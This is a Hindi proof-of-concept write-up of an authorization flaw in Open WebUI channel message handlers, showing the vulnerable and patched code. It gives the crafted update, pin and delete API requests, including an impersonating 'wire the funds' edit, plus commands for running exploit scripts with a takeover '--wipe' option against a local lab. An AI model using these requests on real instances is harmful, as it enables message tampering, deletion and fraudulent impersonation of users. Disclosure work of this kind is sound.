
Open WebUI में प्राधिकरण दोष के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो कम-विशेषाधिकार वाले उपयोगकर्ताओं को तैयार किए गए API कॉल के माध्यम से अन्य सदस्यों के चैनल संदेशों को संपादित करने और हटाने की अनुमति देता है।
Open WebUI, संस्करण 0.5.0 से 0.10.2 तक प्रभावित है, 0.11.0 में पैच किया गया। मध्यम (Moderate), CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 और CWE-862.
backend/open_webui/routers/channels.py में, संदेश अद्यतन (update) और हटाने (delete) हैंडलर चैनल प्रकार के आधार पर शाखाबद्ध होते हैं, और दोनों शाखाएँ अलग-अलग प्रश्न पूछती हैं। ग्रुप और डायरेक्ट मैसेज चैनल केवल लेखक (author-only) के लिए होते हैं।
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
मानक चैनल शाखा अकेले लेखन-अभिगम (write access) के आधार पर पास हो जाती है, और पोस्ट करने के लिए new_message_handler को ठीक वही लेखन-अभिगम चाहिए, इसलिए बोलने की क्षमता को पुनः लिखने और हटाने की क्षमता के रूप में स्वीकार कर लिया गया। channel_has_access प्रति-उपयोगकर्ता अनुदान (per-user grant) के साथ-साथ सार्वजनिक अनुदान से भी संतुष्ट हो जाता है, इसलिए सहयोगी वाला निजी कमरा भी खुले चैनल की तरह प्रभावित होता है। अद्यतन फ़ॉर्म content, data और meta को बाँधता है, जबकि मॉडल परत message.user_id को कभी नहीं छूती, इसलिए संपादित संदेश मूल लेखक का नाम बनाए रखता है।
शोषण के लिए तीन साधारण API कॉल पर्याप्त हैं, जो user भूमिका वाले साधारण खाते से की जाती हैं, जो किसी समूह में नहीं है, जिसके पास कुछ भी स्वामित्व नहीं है, और जिसने कुछ भी लेखन नहीं किया है।
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
0.11.0 में कमिट c609ec411 जाँच को विभाजित करता है: पहले लेखन-अभिगम, फिर लेखकत्व, जो ग्रुप शाखा से मेल खाता है। पिन करना (pinning) डिज़ाइन द्वारा लेखन स्तर पर ही रहता है।
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
4 अगस्त 2026 को 0.10.2 के विरुद्ध पुनः चलाएँ। स्क्रिप्ट अन्य सदस्यों के संदेशों को हटा देती हैं, इसलिए उन्हें केवल एक डिस्पोज़ेबल स्थानीय इंस्टेंस पर चलाएँ।
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7